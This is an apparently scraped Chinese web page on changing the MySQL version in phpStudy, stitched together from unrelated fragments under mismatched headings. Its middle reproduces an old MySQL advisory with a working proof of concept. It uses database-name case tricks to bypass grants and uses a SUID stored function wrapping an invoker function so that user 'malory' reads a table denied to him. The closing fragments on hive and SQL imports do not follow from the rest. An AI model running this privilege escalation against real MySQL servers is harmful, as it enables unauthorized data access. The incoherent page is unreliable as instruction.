phpstudy怎么修改mysql版本

1.首先查看phpstudy中mysql的路径：比如：E:\phpStudy\MySQL\bin

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2.然后打开dos窗口，将目录切换至mysql，bin目录下：

3.输入mysql命令，进行连接：mysql -h localhost -u root -p 回车；输入密码再次回车。mysql连接成功！

如何修改mysql server版本号避开漏洞

1、创建数据库

$ mysql -h my.mysql.server -u sample -p -A sample

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql create database another;

ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql create database sAmple;

Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings

drop database if exists mysqltest1;

drop database if exists mysqltest2;

drop function if exists f_suid;

--enable_warnings

# Prepare playground

create database mysqltest1;

create database mysqltest2;

create user malory@localhost;

grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0;

grant execute on function test.f_suid to malory@localhost;

use mysqltest2;

# Create table in which malory@localhost will be interested but to which

# he won't have any access

create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltest2.t1;

# Create function which will allow to exploit security hole

delimiter |;

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user();

set @b:= (select count(*) from mysqltest2.t1);

return 0;

end|

delimiter ;|

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil();

select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil());

select @a, @b;

connection default;

drop user malory@localhost;

drop database mysqltest1;

drop database mysqltest2;

建议：

厂商补丁：MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载。

mysql修改版本

我们知道，mysql的不同版本，有可能会存在着一些差异，比如：

hive中支持的数据转换：

linux一次导入多个sql文件

当前名称：MySQL怎么修改版本 在mysql中怎么修改数据
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